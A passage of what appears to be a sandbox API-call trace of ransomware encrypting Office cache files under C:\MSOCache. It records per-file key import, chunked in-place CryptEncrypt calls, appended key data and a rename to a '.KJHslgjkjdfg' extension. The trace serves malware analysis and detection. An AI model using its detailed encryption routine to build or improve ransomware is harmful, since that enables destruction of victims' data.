lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.730] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.735] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.736] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.736] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.737] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.737] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.743] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.746] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.746] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.747] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.747] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.756] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.759] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.760] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.760] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.760] SetEndOfFile (hFile=0x124) returned 1 [0163.765] GetProcessHeap () returned 0x2ef0000 [0163.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.765] GetProcessHeap () returned 0x2ef0000 [0163.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.765] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.kjhslgjkjdfg")) returned 1 [0163.766] CloseHandle (hObject=0x124) returned 1 [0163.766] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0163.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.766] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=3702272) returned 1 [0163.766] GetProcessHeap () returned 0x2ef0000 [0163.767] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.767] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.767] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.767] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.767] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.767] GetProcessHeap () returned 0x2ef0000 [0163.767] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.767] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.767] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.767] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.770] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.770] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.770] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.771] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.771] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.771] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.771] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.779] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.785] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.785] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.786] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.786] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.802] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.805] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.805] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.806] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.806] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.806] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.806] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.814] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.817] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.817] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.818] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.818] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.818] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.818] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.818] SetEndOfFile (hFile=0x124) returned 1 [0163.821] GetProcessHeap () returned 0x2ef0000 [0163.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.821] GetProcessHeap () returned 0x2ef0000 [0163.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.821] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.kjhslgjkjdfg")) returned 1 [0163.822] CloseHandle (hObject=0x124) returned 1 [0163.822] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0163.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.822] GetProcessHeap () returned 0x2ef0000 [0163.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.823] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.823] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.823] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xb, lpOverlapped=0x0) returned 1 [0163.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.826] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.826] GetProcessHeap () returned 0x2ef0000 [0163.826] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.826] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.826] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.826] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.826] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.826] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.826] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.827] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.827] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.827] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.827] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.827] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x15b5, lpOverlapped=0x0) returned 1 [0163.830] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x15c0) returned 1 [0163.830] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.830] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x15c0, lpOverlapped=0x0) returned 1 [0163.830] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.830] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.830] SetEndOfFile (hFile=0x124) returned 1 [0163.833] GetProcessHeap () returned 0x2ef0000 [0163.833] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.833] GetProcessHeap () returned 0x2ef0000 [0163.833] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.833] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.kjhslgjkjdfg")) returned 1 [0163.839] CloseHandle (hObject=0x124) returned 1 [0163.839] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0163.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.851] GetProcessHeap () returned 0x2ef0000 [0163.851] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.851] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.851] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.851] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.852] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.852] GetProcessHeap () returned 0x2ef0000 [0163.852] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.852] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.852] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.852] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.865] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.865] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.865] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.866] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.866] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.866] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.866] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.866] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.866] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 